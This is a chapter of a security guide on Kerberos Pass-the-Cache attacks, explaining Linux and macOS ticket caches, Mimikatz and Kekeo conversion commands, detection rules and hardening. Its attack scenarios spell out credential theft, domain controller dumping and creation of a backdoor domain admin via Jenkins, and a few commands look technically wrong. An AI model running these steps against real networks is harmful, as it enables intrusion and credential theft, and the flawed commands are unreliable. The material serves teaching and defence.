Skip to content

Chapter 29: Kerberos Tickets - Pass the Cache

Introduction

While the previous chapters focused on Kerberos ticket operations within Windows environments, enterprise networks are increasingly heterogeneous, incorporating Linux, macOS, and other Unix-based systems into their Active Directory infrastructures. These systems participate in Kerberos authentication using their native Kerberos implementations - MIT Kerberos on most Linux distributions and Heimdal Kerberos on macOS. When these systems authenticate to Active Directory, they cache Kerberos tickets in platform-specific formats that differ from Windows' KIRBI structure.

Pass-The-Cache (PTC) attacks exploit these cross-platform ticket stores, enabling attackers who compromise Unix-based systems to extract cached Kerberos credentials and leverage them for lateral movement across the network. Unlike Pass-The-Ticket attacks that operate entirely within Windows ecosystems, Pass-The-Cache bridges platform boundaries, converting MIT Kerberos ccache files or Heimdal KCM credentials into formats usable by Windows tools like Mimikatz and Kekeo.

This capability significantly expands the attack surface in heterogeneous environments. A compromised Linux application server, macOS developer workstation, or Unix database host can become a pivot point for domain-wide compromise if these systems hold valid Kerberos tickets for privileged accounts. The credential cache files on these platforms often contain TGTs and service tickets that remain valid for hours or days, providing attackers with ready-made authentication tokens.

This chapter explores the technical foundation of credential caching on Linux and macOS, demonstrates Mimikatz and Kekeo's cross-platform capabilities, examines real-world attack scenarios, and provides detection strategies and defensive controls.

Technical Foundation: Cross-Platform Kerberos Caching

MIT Kerberos on Linux

Most Linux distributions implement Kerberos authentication using MIT Kerberos (krb5), which provides the client libraries and tools for interacting with Active Directory domain controllers. When a Linux system authenticates to AD, MIT Kerberos caches the resulting tickets in credential cache (ccache) files.

Credential Cache Types

MIT Kerberos supports multiple credential cache types, each with different storage characteristics:

  1. FILE: The default and most portable format. Credentials are stored in a simple flat file, typically named /tmp/krb5cc_<uid> where <uid> is the numeric user ID. This format stores one ticket after another in a binary structure.

  2. DIR: A directory-based cache that stores multiple ccache files. The directory location is specified in the cache name (e.g., DIR:/run/user/1000/krb5cc), and each cached credential set becomes a separate file within this directory.

  3. KEYRING: A Linux-specific mechanism that stores credentials in the kernel keyring, utilizing unswappable kernel memory that only the current user can access. This provides better security than file-based caches as credentials never touch disk.

    • KEYRING:session:name - session keyring (cleared on logout)
    • KEYRING:user:name - user keyring (persistent across sessions)
    • KEYRING:persistent:<uid> - persistent keyring for specific user

The cache type is determined by the default_ccache_name setting in /etc/krb5.conf:

[libdefaults]
    default_ccache_name = FILE:/tmp/krb5cc_%{uid}

Ccache File Structure

FILE-based ccache files use a binary format defined by MIT Kerberos. The structure includes:

  • File format version: Identifies the ccache format version (typically 0x0504 for version 5.4)

  • Header length: Size of the header data

  • Principal: The client principal name (e.g., user@DOMAIN.COM)

  • Credentials: Array of credential structures, each containing:

    • Client and server principals
    • Session key (encryption type and key data)
    • Ticket flags
    • Authentication and start times
    • End time (expiration)
    • Renewal end time (if renewable)
    • Addresses (optional client addresses)
    • Authorization data (optional)
    • Ticket data (encrypted TGT or service ticket)

Each credential in the cache represents a single Kerberos ticket - either a TGT from the KDC or a service ticket for a specific service principal.

Cache Access and Permissions

By default, ccache files in /tmp are created with mode 0600 (read/write for owner only), protecting them from access by other users. However, root users can read any user's ccache files, making privilege escalation to root a critical security boundary for credential protection.

The KRB5CCNAME environment variable points to the active credential cache for the current process:

bash
echo $KRB5CCNAME
FILE:/tmp/krb5cc_1000

Applications using the MIT Kerberos libraries automatically read this variable to locate cached credentials for authentication operations.

Heimdal Kerberos on macOS

macOS uses the Heimdal Kerberos implementation, which differs from MIT Kerberos in several ways. Modern macOS versions integrate Kerberos with the system keychain, providing better security through the Kerberos Credential Manager (KCM).

KCM Architecture

The Kerberos Credential Manager (KCM) is a daemon-based credential cache that stores tickets in memory rather than on disk. The KCM daemon runs as a system service and manages credentials on behalf of user processes:

  • Credentials are stored in the user's login keychain (secured by the user's password)
  • The kcm cache type is specified as KCM:<principal>
  • Access is controlled through macOS's authorization framework
  • Credentials survive across terminal sessions and reboots

The KCM daemon communicates with client applications through a Unix domain socket at /var/run/.heim_org.h5l.kcm-socket. Clients use the Heimdal API to request, store, and delete credentials through this interface.

macOS Kerberos Configuration

macOS stores Kerberos configuration in /Library/Preferences/edu.mit.Kerberos (plist format) in addition to the standard /etc/krb5.conf. The system determines the default realm through:

  1. Active Directory binding (if the system is domain-joined)
  2. DNS TXT records for _kerberos.<domain>
  3. Manual configuration in the Kerberos preference file

When a macOS system is bound to Active Directory using dsconfigad, it automatically configures Kerberos for SSO with AD domain controllers.

Credential Access Tools

macOS provides the kcc (Kerberos Credential Cache) utility for managing cached credentials:

  • kcc list: Display all cached credentials
  • kcc copy_cred_cache <file>: Export credentials to a ccache file
  • kcc delete_cred_cache: Remove credentials from the cache

The kcc tool can filter credentials by flags or service:

bash
# Export only initial tickets (TGTs)
kcc copy_cred_cache --flags=initial /tmp/tgt.ccache

# Export tickets for specific service
kcc copy_cred_cache --service=krbtgt /tmp/krbtgt.ccache

Cross-Platform Ticket Characteristics

Despite implementation differences, Kerberos tickets cached on Linux and macOS contain the same fundamental components as Windows tickets:

TGT Characteristics:

  • Client principal (user@DOMAIN.COM)
  • Server principal (krbtgt/DOMAIN.COM@DOMAIN.COM)
  • Session key (encrypted with krbtgt long-term key)
  • Ticket flags (forwardable, proxiable, renewable, initial)
  • Lifetime (typically 10 hours)
  • Renewal time (typically 7 days)

Service Ticket Characteristics:

  • Client principal
  • Server principal (e.g., cifs/server.domain.com@DOMAIN.COM)
  • Session key (encrypted with service long-term key)
  • Ticket flags
  • Authorization data (PAC structure)
  • Lifetime (typically matches TGT lifetime)

The critical insight for Pass-The-Cache attacks is that these tickets, regardless of the platform that requested them, are standard Kerberos credentials issued by Windows Active Directory domain controllers. The tickets contain valid PACs, are encrypted with the same keys, and follow the same RFC 4120 specifications. The only difference is the storage format on disk.

Credential Cache Security Considerations

File-Based Caches (Linux):

  • Vulnerable to offline analysis if disk access is obtained
  • Subject to tampering if file permissions are misconfigured
  • Can be extracted from memory dumps or filesystem backups
  • Require only read access for exfiltration (no password needed)

Keyring-Based Caches (Linux):

  • More secure than file-based caches (memory-only)
  • Still accessible to root or users with CAP_SYS_ADMIN capability
  • Can be extracted with specialized tools like Tickey
  • Cleared automatically when keyring is destroyed (logout, reboot)

KCM Caches (macOS):

  • Protected by macOS authorization framework
  • Integrated with system keychain security
  • Require valid user session for access
  • Can be extracted with sufficient privileges using kcc or lower-level APIs

All cache types share a common vulnerability: if an attacker gains sufficient privileges on the host (root on Linux, admin on macOS), they can extract any user's cached Kerberos tickets and leverage them for lateral movement without needing to know the user's password.

Mimikatz and Kekeo Cross-Platform Operations

Mimikatz Ccache Functionality

Mimikatz provides two primary commands for working with credential cache files from Unix platforms:

kerberos::clist

The kerberos::clist command parses and displays the contents of a ccache file without importing the tickets:

mimikatz # kerberos::clist <ccache_file> [/export]

Parameters:

  • <ccache_file>: Path to the MIT Kerberos ccache file
  • /export: Optional flag to export tickets to KIRBI format

Example output:

mimikatz # kerberos::clist krb5cc_1000

Principal : (01) : alice ; @ CORP.ACME.COM

-----------------------------------------
[00000000] - 0x00000012 - aes256_cts_hmac_sha1_96
  Start/End/MaxRenew: 11/30/2024 14:23:45 ; 12/1/2024 00:23:45 ; 12/7/2024 14:23:45
  Server Name       : krbtgt/CORP.ACME.COM @ CORP.ACME.COM
  Client Name       : alice @ CORP.ACME.COM
  Flags 40e10000    : forwardable ; renewable ; initial ; pre_authent ;
  Ticket            : 0x00000012 - aes256_cts_hmac_sha1_96 ; kvno = 2    [...]

[00000001] - 0x00000012 - aes256_cts_hmac_sha1_96
  Start/End/MaxRenew: 11/30/2024 14:24:12 ; 12/1/2024 00:23:45 ; 12/7/2024 14:23:45
  Server Name       : cifs/fileserver.corp.acme.com @ CORP.ACME.COM
  Client Name       : alice @ CORP.ACME.COM
  Flags 40a50000    : forwardable ; renewable ; pre_authent ;
  Ticket            : 0x00000012 - aes256_cts_hmac_sha1_96 ; kvno = 5    [...]

This output shows two tickets: the TGT (index 0) and a service ticket for CIFS (index 1). The clist command successfully parses the MIT Kerberos binary format and displays all ticket attributes in Mimikatz's standard format.

When the /export parameter is included, Mimikatz extracts each ticket and saves it as a separate .kirbi file:

mimikatz # kerberos::clist krb5cc_1000 /export

[00000000] - Ticket saved to file: 0-00000000-alice@krbtgt~CORP.ACME.COM-CORP.ACME.COM.kirbi
[00000001] - Ticket saved to file: 1-00000001-alice@cifs~fileserver.corp.acme.com-CORP.ACME.COM.kirbi

These KIRBI files can then be used with kerberos::ptt or transferred to other systems for Pass-The-Ticket attacks.

kerberos::ptc

The kerberos::ptc (Pass-The-Cache) command imports tickets directly from a ccache file into the current Windows logon session:

mimikatz # kerberos::ptc <ccache_file>

Example:

mimikatz # kerberos::purge
Ticket(s) purge for current session is OK

mimikatz # kerberos::ptc krb5cc_1000
Principal : alice @ CORP.ACME.COM

[00000000] - 0x00000012 - aes256_cts_hmac_sha1_96
  Server: krbtgt/CORP.ACME.COM @ CORP.ACME.COM
  Ticket: [... injected into session ...]

[00000001] - 0x00000012 - aes256_cts_hmac_sha1_96
  Server: cifs/fileserver.corp.acme.com @ CORP.ACME.COM
  Ticket: [... injected into session ...]

mimikatz # kerberos::list

[00000000] - 0x00000012 - aes256_cts_hmac_sha1_96
  Start/End/MaxRenew: 11/30/2024 14:23:45 ; 12/1/2024 00:23:45 ; 12/7/2024 14:23:45
  Server Name       : krbtgt/CORP.ACME.COM @ CORP.ACME.COM
  Client Name       : alice @ CORP.ACME.COM

The kerberos::ptc command:

  1. Parses the ccache file structure
  2. Extracts each Kerberos ticket (TGT and service tickets)
  3. Converts the ticket format from MIT Kerberos to Windows native format
  4. Injects the tickets into the current logon session using LsaCallAuthenticationPackage

After import, the tickets function identically to native Windows Kerberos tickets. The attacker can immediately use them for authentication to network resources without providing passwords.

Implementation Details

Mimikatz's ccache parsing logic handles:

  • Multiple MIT Kerberos ccache format versions (0x0503, 0x0504)
  • Big-endian and little-endian byte ordering
  • Variable-length fields (principal names, realm names)
  • Multiple encryption types (RC4, AES128, AES256)
  • Ticket flags and authorization data

The conversion process preserves all ticket attributes, including:

  • Session keys and encryption types
  • Ticket and renewal lifetimes
  • Authorization data (PAC structures)
  • Ticket flags (forwardable, renewable, etc.)

Kekeo Ccache Functionality

Kekeo provides more flexible ticket conversion capabilities through the misc::convert command, which supports bidirectional conversion between multiple ticket formats.

misc::convert

Syntax:

kekeo # misc::convert <target_format> <source_file>

Supported formats:

  • wce: Windows Credential Editor format
  • kirbi: Mimikatz/Kekeo KIRBI format (ASN.1)
  • ccache: MIT Kerberos ccache format
  • lsa: Import directly into current logon session (LSA)

Converting Ccache to KIRBI

To convert a ccache file to KIRBI format for use with Mimikatz or transfer to other systems:

kekeo # misc::convert kirbi krb5cc_1000
Destination: kirbi
 < krb5cc_1000 (MIT Credential Cache)
  > 0-krbtgt~CORP.ACME.COM-CORP.ACME.COM.kirbi (saved)
  > 1-cifs~fileserver.corp.acme.com-CORP.ACME.COM.kirbi (saved)

This produces individual KIRBI files for each ticket in the cache, identical to Mimikatz's /export functionality.

Importing Ccache to LSA

To import tickets directly into the current Windows session:

kekeo # kerberos::purge
Ticket(s) purge for current session is OK

kekeo # misc::convert lsa krb5cc_1000
Destination : Microsoft LSA API (multiple)
 < krb5cc_1000 (MIT Credential Cache)
  - > krbtgt/CORP.ACME.COM : injected!
  - > cifs/fileserver.corp.acme.com : injected!

kekeo # kerberos::list

[00000000] - 0x00000012 - aes256_cts_hmac_sha1_96
  Start/End/MaxRenew: 11/30/2024 14:23:45 ; 12/1/2024 00:23:45 ; 12/7/2024 14:23:45
  Server Name       : krbtgt/CORP.ACME.COM @ CORP.ACME.COM
  Client Name       : alice @ CORP.ACME.COM

The misc::convert lsa command is functionally equivalent to Mimikatz's kerberos::ptc, but its flexible syntax allows for more complex conversion workflows.

Converting Windows Tickets to Ccache

Kekeo also supports the reverse operation - converting Windows KIRBI tickets back to ccache format for use on Unix systems:

kekeo # misc::convert ccache 0-alice@krbtgt~CORP.ACME.COM.kirbi
Destination: ccache
 < 0-alice@krbtgt~CORP.ACME.COM.kirbi
  > krb5cc_converted.ccache (saved)

This enables cross-platform ticket sharing in either direction, supporting attack scenarios where tickets are harvested from Windows systems for use on compromised Linux/macOS hosts.

Extracting Keyring-Based Caches (Linux)

When Linux systems use KEYRING-based credential caches, the standard file-based extraction techniques don't apply. The Tickey tool by Tarlogic Security extracts credentials from kernel keyrings and exports them to ccache files.

Using Tickey

bash
# Run Tickey to extract keyring credentials
./tickey

[*] krb5 ccache_name = KEYRING:persistent:%{uid}
[*] [uid:1000] 2 tickets found
[+] [uid:1000] Tickets written into /tmp/__krb_1000.ccache

Tickey:

  1. Determines the configured keyring type from /etc/krb5.conf
  2. Enumerates all user keyrings accessible to the current privilege level
  3. Extracts Kerberos credentials from each keyring
  4. Writes credentials to ccache files in /tmp

The resulting ccache files can then be processed with Mimikatz or Kekeo:

mimikatz # kerberos::clist /tmp/__krb_1000.ccache /export
[00000000] - Ticket saved to file: 0-00000000-alice@krbtgt~CORP.ACME.COM.kirbi

Keyring Extraction Privileges

Extracting keyring credentials requires:

  • Root privileges, OR
  • CAP_SYS_ADMIN capability, OR
  • The same UID as the target keyring owner

This makes privilege escalation a prerequisite for extracting other users' credentials from keyring-based caches.

Extracting KCM Caches (macOS)

On macOS systems bound to Active Directory, the kcc utility provides the most straightforward method for exporting cached credentials.

Using kcc for Export

Export all cached tickets:

bash
kcc copy_cred_cache /tmp/alltickets.ccache

Export only TGTs:

bash
kcc copy_cred_cache --flags=initial /tmp/tgt.ccache

Export tickets for specific service:

bash
kcc copy_cred_cache --service=krbtgt /tmp/krbtgt.ccache

The exported ccache file uses standard MIT Kerberos format and can be directly imported with Mimikatz:

mimikatz # kerberos::ptc /tmp/tgt.ccache
Principal : bob @ CORP.ACME.COM
[00000000] - 0x00000012 - aes256_cts_hmac_sha1_96
  Server: krbtgt/CORP.ACME.COM @ CORP.ACME.COM

Bifrost for macOS Ticket Extraction

The Bifrost tool (https://github.com/its-a-feature/bifrost) provides more advanced Kerberos operations on macOS, including direct export to KIRBI format:

bash
./bifrost -Action dump -OutputFormat kirbi -Output /tmp/tickets/

Bifrost uses lower-level Kerberos APIs to:

  • Enumerate all cached credentials without using kcc
  • Export directly to KIRBI format (no conversion needed)
  • Manipulate tickets (renew, modify flags)
  • Request new tickets using cached credentials

The KIRBI export capability eliminates the need for Mimikatz conversion, allowing immediate use of the tickets on Windows systems.

Attack Scenarios: Cross-Platform Lateral Movement

Scenario 1: Linux Application Server Compromise

Initial Access

An attacker exploits a web application vulnerability on a Linux server (appserver01.corp.acme.com) running a Java application integrated with Active Directory for SSO. The application runs as the tomcat service account, but user sessions create GSSAPI contexts that cache tickets.

Privilege Escalation

Through a local privilege escalation vulnerability (e.g., kernel exploit, misconfigured sudo), the attacker gains root access:

bash
whoami
root

Credential Cache Discovery

The attacker enumerates ccache files in /tmp:

bash
ls -la /tmp/krb5cc_*
-rw------- 1 alice    users  1342 Nov 30 14:23 /tmp/krb5cc_1000
-rw------- 1 dbadmin  users  2156 Nov 30 15:42 /tmp/krb5cc_1001
-rw------- 1 svcadmin users  1834 Nov 30 16:15 /tmp/krb5cc_1002

The dbadmin and svcadmin accounts are particularly interesting as they likely have elevated privileges.

Ticket Extraction

The attacker exfiltrates the ccache files:

bash
base64 /tmp/krb5cc_1001 > dbadmin.ccache.b64
base64 /tmp/krb5cc_1002 > svcadmin.ccache.b64

Cross-Platform Import

On a Windows attack system with Mimikatz:

mimikatz # kerberos::clist dbadmin.ccache

Principal : dbadmin @ CORP.ACME.COM

[00000000] - 0x00000012 - aes256_cts_hmac_sha1_96
  Server Name       : krbtgt/CORP.ACME.COM @ CORP.ACME.COM
  Client Name       : dbadmin @ CORP.ACME.COM
  Flags 40e10000    : forwardable ; renewable ; initial ; pre_authent ;
  [Valid TGT with 8 hours remaining]

mimikatz # kerberos::ptc dbadmin.ccache
[Tickets imported successfully]

C:\> dir \dc01.corp.acme.com\c$
[Success - dbadmin has admin rights to domain controller]

Domain Administrator Access

The attacker leverages the imported dbadmin TGT to authenticate to the domain controller, dump NTDS.dit, and extract all domain credentials:

C:\> PsExec64.exe -accepteula \dc01.corp.acme.com cmd
[Using Kerberos ticket for authentication - no password needed]

C:\> whoami
corp\dbadmin

C:\> ntdsutil "activate instance ntds" ifm "create full c:\temp\ntds" q q
[Dumping Active Directory database]

Result: A single compromised Linux server provided valid Kerberos credentials that enabled full domain compromise.

Scenario 2: macOS Developer Workstation Pivot

Initial Compromise

An attacker compromises a macOS developer workstation through a phishing attack. The developer (jsmith) regularly connects to internal Git repositories, file shares, and SSH hosts using Active Directory credentials with Kerberos SSO.

Credential Cache Enumeration

After establishing persistence, the attacker checks for cached Kerberos credentials:

bash
kcc list

Principal: jsmith@CORP.ACME.COM

Issued                Expires               Principal
Nov 30 09:15:23 2024  Nov 30 19:15:23 2024  krbtgt/CORP.ACME.COM@CORP.ACME.COM
Nov 30 09:16:42 2024  Nov 30 19:15:23 2024  cifs/fileserver.corp.acme.com@CORP.ACME.COM
Nov 30 09:18:15 2024  Nov 30 19:15:23 2024  host/gitserver.corp.acme.com@CORP.ACME.COM
Nov 30 10:23:47 2024  Nov 30 19:15:23 2024  HTTP/jenkins.corp.acme.com@CORP.ACME.COM

The developer has a valid TGT and multiple service tickets, including HTTP tickets for Jenkins (a CI/CD server).

Ticket Export

The attacker exports the credential cache:

bash
kcc copy_cred_cache /tmp/jsmith.ccache
base64 /tmp/jsmith.ccache > jsmith_b64.txt

Cross-Platform Lateral Movement

On a Windows attack system:

mimikatz # kerberos::ptc jsmith.ccache
[Tickets imported for jsmith@CORP.ACME.COM]

C:\> curl -u : --negotiate http://jenkins.corp.acme.com/script
[Authenticated using Kerberos ticket]
[Jenkins Script Console accessed - allows arbitrary code execution]

Jenkins Compromise

Using the imported HTTP service ticket, the attacker accesses the Jenkins Script Console and executes Groovy code:

groovy
println "net user backdoor P@ssw0rd! /add /domain".execute().text
println "net group 'Domain Admins' backdoor /add /domain".execute().text

Result: A compromised macOS workstation provided Kerberos tickets that enabled compromise of a CI/CD pipeline, leading to creation of a backdoor domain admin account.

Scenario 3: Heterogeneous Environment Hopping

Attack Flow

This scenario demonstrates ticket reuse across multiple platforms in a heterogeneous network:

  1. Linux Web Server Compromise

    • Attacker exploits web application on Linux server
    • Escalates to root, extracts ccache files
    • Finds sysadmin TGT in /tmp/krb5cc_1005
  2. Windows Admin Workstation Access

    • Imports sysadmin TGT using Mimikatz
    • Uses ticket to authenticate to Windows admin workstation
    • Discovers admin has RDP session to domain controller
  3. Domain Controller Access

    • Uses sysadmin ticket to access DC via WinRM
    • Dumps LSASS and extracts all domain credentials
    • Obtains krbtgt hash for Golden Ticket creation
  4. Cross-Platform Persistence

    • Creates Golden Ticket for sysadmin account
    • Converts Golden Ticket to ccache format using Kekeo:
      kekeo # misc::convert ccache golden_ticket.kirbi
    • Plants ccache file on Linux systems for persistent access
  5. macOS Developer Workstation

    • Imports Golden Ticket ccache on macOS using kinit:
      bash
      export KRB5CCNAME=/tmp/golden.ccache
      kinit -k -t /dev/null jsmith@CORP.ACME.COM
    • Uses credentials to access developer tools and source code repositories

Result: A single set of credentials (sysadmin TGT) enabled lateral movement across Linux, Windows, and macOS systems, culminating in full domain compromise and establishment of cross-platform persistence.

Detection Strategies

Linux Credential Cache Monitoring

File-Based Cache Detection

Monitor creation and access of ccache files:

bash
# Auditd rule for ccache file access
-w /tmp/ -p wa -k kerberos_cache_access
-w /var/tmp/ -p wa -k kerberos_cache_access

Sysmon for Linux

Configure Sysmon for Linux to detect credential cache operations:

xml
<RuleGroup name="Kerberos Cache Access" groupRelation="or">
  <FileCreate onmatch="include">
    <TargetFilename condition="contains">krb5cc_</TargetFilename>
  </FileCreate>
  <FileDelete onmatch="include">
    <TargetFilename condition="contains">krb5cc_</TargetFilename>
  </FileDelete>
  <NetworkConnect onmatch="include">
    <DestinationPort condition="is">88</DestinationPort>
    <Protocol condition="is">tcp</Protocol>
  </NetworkConnect>
</RuleGroup>

Alert on:

  • Ccache file creation by unexpected processes
  • Ccache file deletion (covering tracks)
  • Non-standard processes connecting to port 88/tcp (KDC)
  • Ccache files created outside normal locations

Suspicious Access Patterns

Indicator: Root user accessing multiple users' ccache files

bash
# Auditd search for root reading ccache files
ausearch -k kerberos_cache_access -ui 0

Indicator: Ccache files being read by non-Kerberos processes

bash
# Monitor which processes read ccache files
auditctl -w /tmp/krb5cc_1000 -p r -k ccache_read

Indicator: Unusual ccache file modifications

  • Modification of ccache file by process other than owner
  • Ccache file copied to external storage or network location
  • Base64 encoding of ccache files (exfiltration preparation)

macOS Credential Cache Monitoring

KCC Usage Monitoring

Monitor kcc command execution via endpoint detection:

xml
<ProcessCreate onmatch="include">
  <Image condition="end with">kcc</Image>
  <CommandLine condition="contains">copy_cred_cache</CommandLine>
</ProcessCreate>

Alert on:

  • kcc copy_cred_cache executed by non-interactive processes
  • Credential export to unusual locations (e.g., /tmp, removable media)
  • Multiple credential exports in short time window

Unified Log Monitoring

Monitor macOS unified logs for Kerberos operations:

bash
# Monitor KCM daemon activity
log stream --predicate 'process == "kcm"'

# Monitor credential access
log stream --predicate 'subsystem == "com.apple.GSS"'

Key log indicators:

  • Unusual patterns of credential access
  • Credential operations from non-standard applications
  • Failed authentication attempts with cached credentials

Bifrost Detection

Monitor for Bifrost tool execution:

bash
# Search for Bifrost binary or behavior
find / -name bifrost -type f 2>/dev/null
ps aux | grep -i bifrost

Alert on:

  • Bifrost binary presence on system
  • Processes making Heimdal Kerberos API calls from non-standard locations
  • Unusual Kerberos ticket export patterns

Windows Cross-Platform Import Detection

Mimikatz Ccache Operations

Detect Mimikatz ccache commands via command-line auditing:

Sysmon Event ID 1 - Process Creation:

xml
<RuleGroup name="Mimikatz Ccache Commands" groupRelation="or">
  <ProcessCreate onmatch="include">
    <CommandLine condition="contains all">mimikatz;kerberos::clist</CommandLine>
    <CommandLine condition="contains all">mimikatz;kerberos::ptc</CommandLine>
  </ProcessCreate>
</RuleGroup>

PowerShell Script Block Logging: Monitor for PowerShell invocations of Mimikatz with ccache parameters:

powershell
Invoke-Mimikatz -Command "kerberos::ptc krb5cc_*"

File System Monitoring

Detect ccache files on Windows systems (unusual):

Sysmon Event ID 11 - File Created:

xml
<FileCreate onmatch="include">
  <TargetFilename condition="contains">krb5cc_</TargetFilename>
  <TargetFilename condition="end with">.ccache</TargetFilename>
</FileCreate>

Alert on:

  • Ccache files created on Windows systems
  • Ccache files in user temp directories or Downloads folders
  • Ccache files with recent modification times (active attacks)

Network-Based Detection

Abnormal Kerberos Authentication Sources

Monitor for Kerberos authentication from unusual sources:

Windows Security Event ID 4768 - TGT Request:

  • Client Address: Compare against expected Unix/macOS host IPs
  • Encryption Type: Monitor for encryption type mismatches
  • Pre-Authentication Type: Detect missing pre-auth (unusual for domain accounts)

Windows Security Event ID 4769 - Service Ticket Request:

  • Client Address: Alert on service tickets used from different client than TGT request
  • Service Name: Monitor for service tickets used across platform boundaries

Indicator Example: TGT requested from Linux server (10.1.50.15), then service ticket used from Windows workstation (10.1.10.45) minutes later - possible cross-platform ticket import.

Port 88 Connection Analysis

Monitor for suspicious port 88/tcp connections:

# Zeek/Bro Kerberos monitoring
# Alert on non-standard Kerberos clients
if (c$id$orig_h !in known_kdc_clients && c$id$resp_p == 88/tcp)
    NOTICE([$note=Suspicious_Kerberos_Client]);

Alert patterns:

  • Windows hosts using Kerberos tickets originated from Unix
  • Service tickets used from different platforms than TGT request
  • Unusual service principals accessed from Unix hosts

Example Firewall Rule:

# Only allow KDC communication to domain controllers
iptables -A OUTPUT -p tcp --dport 88 -d 10.1.1.10 -j ACCEPT  # DC01
iptables -A OUTPUT -p tcp --dport 88 -d 10.1.1.11 -j ACCEPT  # DC02
iptables -A OUTPUT -p tcp --dport 88 -j LOG --log-prefix "Unauthorized_KDC: "
iptables -A OUTPUT -p tcp --dport 88 -j DROP

Behavioral Analytics

Cross-Platform Authentication Patterns

Build baseline of normal cross-platform Kerberos usage:

  • Which users regularly authenticate from Linux/macOS hosts
  • Expected service ticket patterns for each user
  • Typical authentication times and frequencies

Alert on deviations:

  • User authenticating from platform they've never used before
  • Service ticket requests that don't match user's role
  • Authentication outside user's normal working hours
  • Rapid authentication from multiple platforms

Credential Cache Age Analysis

Monitor credential cache usage patterns:

  • Tickets cached longer than typical session duration
  • Expired tickets being used (possible Golden Ticket)
  • Tickets with suspicious authorization data
  • Multiple users sharing identical ticket characteristics

Example Detection Logic:

python
# Pseudocode for anomalous ccache detection
if (ticket_used_on_windows and ticket_originated_on_unix):
    if (time_delta < 5_minutes):
        alert("Possible Pass-The-Cache attack")
    if (encryption_type_mismatch(original, current)):
        alert("Ticket manipulation suspected")
    if (user_never_used_windows_before):
        alert("Unusual platform usage for user")

Defensive Countermeasures

Linux Credential Protection

Keyring-Based Caching

Configure MIT Kerberos to use kernel keyring caches instead of file-based caches:

# /etc/krb5.conf
[libdefaults]
    default_ccache_name = KEYRING:persistent:%{uid}

Benefits:

  • Credentials stored in unswappable kernel memory
  • No credential files on disk (can't be stolen from filesystem backups)
  • Automatic cleanup when keyring is destroyed
  • Better access control through kernel keyring permissions

Limitations:

  • Still accessible to root users
  • Can be extracted with tools like Tickey
  • Requires modern Linux kernel with keyring support

Session-Based Keyrings

For even stronger protection, use session keyrings that are destroyed on logout:

[libdefaults]
    default_ccache_name = KEYRING:session:krb5cc_%{uid}

This limits credential lifetime to active user sessions, preventing offline credential harvesting from idle systems.

Restricted Ticket Lifetimes

Configure shorter ticket lifetimes for Unix clients:

# /etc/krb5.conf
[libdefaults]
    ticket_lifetime = 4h
    renew_lifetime = 12h

This reduces the window of opportunity for Pass-The-Cache attacks after compromise.

Auditing and Monitoring

Implement comprehensive auditd rules:

bash
# Monitor ccache file operations
-a always,exit -F arch=b64 -S open -F dir=/tmp -F success=1 -k ccache_access
-a always,exit -F arch=b64 -S openat -F dir=/tmp -F success=1 -k ccache_access

# Monitor keyring operations
-a always,exit -F arch=b64 -S keyctl -k keyring_ops
-a always,exit -F arch=b64 -S add_key -k keyring_ops
-a always,exit -F arch=b64 -S request_key -k keyring_ops

# Monitor Kerberos library usage
-w /usr/lib64/libkrb5.so -p x -k kerberos_lib

Privileged Access Management

Implement strict controls on root access:

  • Require MFA for sudo elevation
  • Use centralized sudo logging
  • Implement just-in-time privilege escalation
  • Monitor all root user activities

Since root can access any user's credentials, preventing unauthorized root access is critical for credential protection.

macOS Credential Protection

Keychain Protection

Ensure Kerberos credentials are properly integrated with macOS keychain:

bash
# Verify KCM is configured
security find-generic-password -s "Kerberos Cache" -a "$USER"

Enable FileVault disk encryption to protect cached credentials at rest.

Restrict KCC Access

Monitor and restrict kcc command usage:

bash
# Create wrapper script to log kcc usage
#!/bin/bash
logger -t KCC_WRAPPER "User $USER executed: $@"
/usr/bin/kcc "$@"

# Replace kcc with wrapper
mv /usr/bin/kcc /usr/bin/kcc.real
cp kcc_wrapper.sh /usr/bin/kcc

Endpoint Detection and Response

Deploy EDR solutions that monitor:

  • Kerberos API usage patterns
  • Credential export operations
  • Unusual process behaviors around Kerberos operations
  • Bifrost or other offensive Kerberos tools

Active Directory Kerberos Hardening

Enforce AES Encryption

Configure Group Policy to disable RC4 and enforce AES-only Kerberos:

Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options
Network security: Configure encryption types allowed for Kerberos
Enable: AES128_HMAC_SHA1, AES256_HMAC_SHA1
Disable: DES_CBC_CRC, DES_CBC_MD5, RC4_HMAC_MD5

This provides stronger encryption and limits certain attack techniques, though it doesn't prevent Pass-The-Cache if attackers steal valid AES-encrypted tickets.

Restrict Ticket Lifetimes

Configure shorter maximum ticket lifetimes in Default Domain Policy:

Computer Configuration > Policies > Windows Settings > Security Settings > Account Policies > Kerberos Policy
Maximum lifetime for user ticket: 4 hours (default: 10 hours)
Maximum lifetime for user ticket renewal: 1 day (default: 7 days)

Shorter lifetimes reduce the window of opportunity for stolen tickets.

Service Account Hardening

For service accounts used on Unix platforms:

  • Enable "Account is sensitive and cannot be delegated"
  • Set "This account supports Kerberos AES 256 bit encryption"
  • Configure shorter password expiration
  • Monitor for unusual authentication patterns

Protected Users Group

Add privileged accounts to the Protected Users security group:

powershell
Add-ADGroupMember -Identity "Protected Users" -Members "dbadmin","sysadmin"

Protected Users receive additional Kerberos protections:

  • RC4 encryption disabled (AES only)
  • TGT lifetime limited to 4 hours (non-renewable)
  • Delegation prohibited
  • Pre-authentication required

Network Segmentation

Isolate Unix Systems

Segment Unix systems into separate network zones with restricted access:

  • Separate VLANs for Linux/macOS endpoints
  • Firewall rules limiting cross-platform communication
  • Restrict port 88 access to authorized KDC clients only

Monitor Cross-Platform Traffic

Deploy network monitoring for unusual cross-platform patterns:

  • Windows hosts using Kerberos tickets originated from Unix
  • Service tickets used from different platforms than TGT request
  • Unusual service principals accessed from Unix hosts

Example Firewall Rule:

# Only allow KDC communication to domain controllers
iptables -A OUTPUT -p tcp --dport 88 -d 10.1.1.10 -j ACCEPT  # DC01
iptables -A OUTPUT -p tcp --dport 88 -d 10.1.1.11 -j ACCEPT  # DC02
iptables -A OUTPUT -p tcp --dport 88 -j LOG --log-prefix "Unauthorized_KDC: "
iptables -A OUTPUT -p tcp --dport 88 -j DROP

Privileged Access Workstations

For privileged users accessing both Windows and Unix systems:

Separate Credentials

Use different accounts for different platforms:

  • admin-win for Windows systems
  • admin-unix for Linux/macOS systems
  • Never use the same account across platforms

Jump Boxes

Implement dedicated jump boxes for cross-platform administration:

  • Windows jump box for Windows administration
  • Linux jump box for Unix administration
  • Credentials never cached on end-user workstations

Short-Lived Credentials

Use just-in-time credential provisioning:

  • Credentials valid for single session only
